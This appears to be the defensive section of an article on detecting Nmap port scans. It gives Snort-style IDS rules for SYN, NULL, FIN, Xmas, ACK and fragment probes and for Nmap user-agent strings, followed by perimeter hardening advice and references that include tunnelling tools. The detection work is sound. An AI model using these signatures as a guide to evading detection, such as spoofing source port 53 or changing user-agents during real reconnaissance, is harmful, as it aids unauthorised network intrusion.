Proxy exit node traffic — Connections originating from IP ranges assigned to known proxy and VPN providers. Maintain an up-to-date threat intel feed of these ASNs: M247, DigitalOcean, Hetzner, OVH, and residential proxy exit nodes. Correlate with internal scan detection events.
-
Nmap user-agent strings — Any HTTP request with
User-AgentcontainingNmap Scripting Engineornmap-scriptis an unconditional critical alert. Additionally, look for user-agents that are syntactically valid but statistically anomalous — a Linux Chrome user-agent accessing a Windows-only internal application is suspicious.
# SYN scan — 50+ SYNs in 10 seconds from single source
alert tcp $EXTERNAL_NET any -> $HOME_NET any \
(msg:"SCAN Potential SYN Scan"; flags:S; \
threshold: type both, track by_src, count 50, seconds 10; \
classtype:attempted-recon; sid:1000001; rev:1;)
# NULL scan — any packet with zero flags
alert tcp $EXTERNAL_NET any -> $HOME_NET any \
(msg:"SCAN NULL Flag Packet"; flags:0; \
classtype:attempted-recon; sid:1000002; rev:1;)
# FIN scan — FIN with no ACK (legitimate FIN always has ACK)
alert tcp $EXTERNAL_NET any -> $HOME_NET any \
(msg:"SCAN FIN Scan Attempt"; flags:F; \
classtype:attempted-recon; sid:1000003; rev:1;)
# Xmas scan — FIN+PSH+URG simultaneously
alert tcp $EXTERNAL_NET any -> $HOME_NET any \
(msg:"SCAN Xmas Scan"; flags:FPU; \
classtype:attempted-recon; sid:1000004; rev:1;)
# Custom flag combos — catch any non-standard combination
alert tcp $EXTERNAL_NET any -> $HOME_NET any \
(msg:"SCAN Non-Standard TCP Flags"; flags:!S; flags:!A; flags:!FA; \
classtype:attempted-recon; sid:1000005; rev:1;)
# ACK scan — unsolicited ACK (no prior SYN)
alert tcp $EXTERNAL_NET any -> $HOME_NET any \
(msg:"SCAN Unsolicited ACK Probe"; flags:A; ack:0; \
classtype:attempted-recon; sid:1000006; rev:1;)
# Fragment probe — IP fragment with offset 0 and MF flag
alert ip $EXTERNAL_NET any -> $HOME_NET any \
(msg:"SCAN Fragmented IP Packet"; fragbits:M; \
classtype:attempted-recon; sid:1000007; rev:1;)
# Nmap NSE User-Agent
alert http $EXTERNAL_NET any -> $HOME_NET any \
(msg:"SCAN Nmap NSE Default User-Agent"; \
http_user_agent; content:"nmap-script"; nocase; \
classtype:attempted-recon; sid:1000008; rev:1;)
# Source port 53 to non-DNS destination
alert tcp $EXTERNAL_NET 53 -> $HOME_NET !53 \
(msg:"SCAN Suspicious Source Port 53"; \
classtype:attempted-recon; sid:1000009; rev:1;)
- Stateful firewall inspection at all trust boundaries. Drop — never reject — packets that don't match a known connection state. Rejection generates ICMP unreachable messages that leak information.
- Drop all non-SYN packets on ports that should not be receiving unsolicited traffic. NULL, FIN, Xmas, and ACK probes should die at the perimeter with zero response.
- Baseline normal network behavior per segment: expected TTL distributions, typical fragment rates, common TCP flag combinations. Anomaly detection is more effective than signature matching against skilled operators.
- Block outbound SSH from non-administrative VLANs. SSH tunneling is the most common pivot mechanism. If outbound SSH is required, restrict it to specific bastion hosts with session logging.
- Ingest and correlate threat intelligence feeds for known proxy/VPN provider ASNs. Flag connections from these ranges for enhanced scrutiny.
- Log and alert on User-Agent anomalies. Every HTTP request with a non-browser user-agent on a web-accessible port should generate a low-priority log;
nmap-scriptspecifically should generate a high-priority alert. - Monitor DNS logs for reverse-lookup storms. When Nmap resolves hostnames for an entire subnet simultaneously, your DNS server will see a spike of PTR queries — often minutes before the SYN scan begins.
- Deploy canary detection — open a fake service on a non-standard port. Any connection attempt to this port is an intrusion indicator. Attackers scan all ports; legitimate users never touch them.
- Nmap Network Scanning (Official Book)
- Nmap Scripting Engine Documentation
- MITRE ATT&CK — Active Scanning (T1595)
- MITRE ATT&CK — Network Service Scanning (T1046)
- RFC 793 — Transmission Control Protocol
- RFC 791 — Internet Protocol
- Proxychains-ng
- Chisel — TCP/UDP Tunnel over HTTP
- UserAgents.io — Browser Fingerprint Database
- Snort IDS Rule Writing Guide
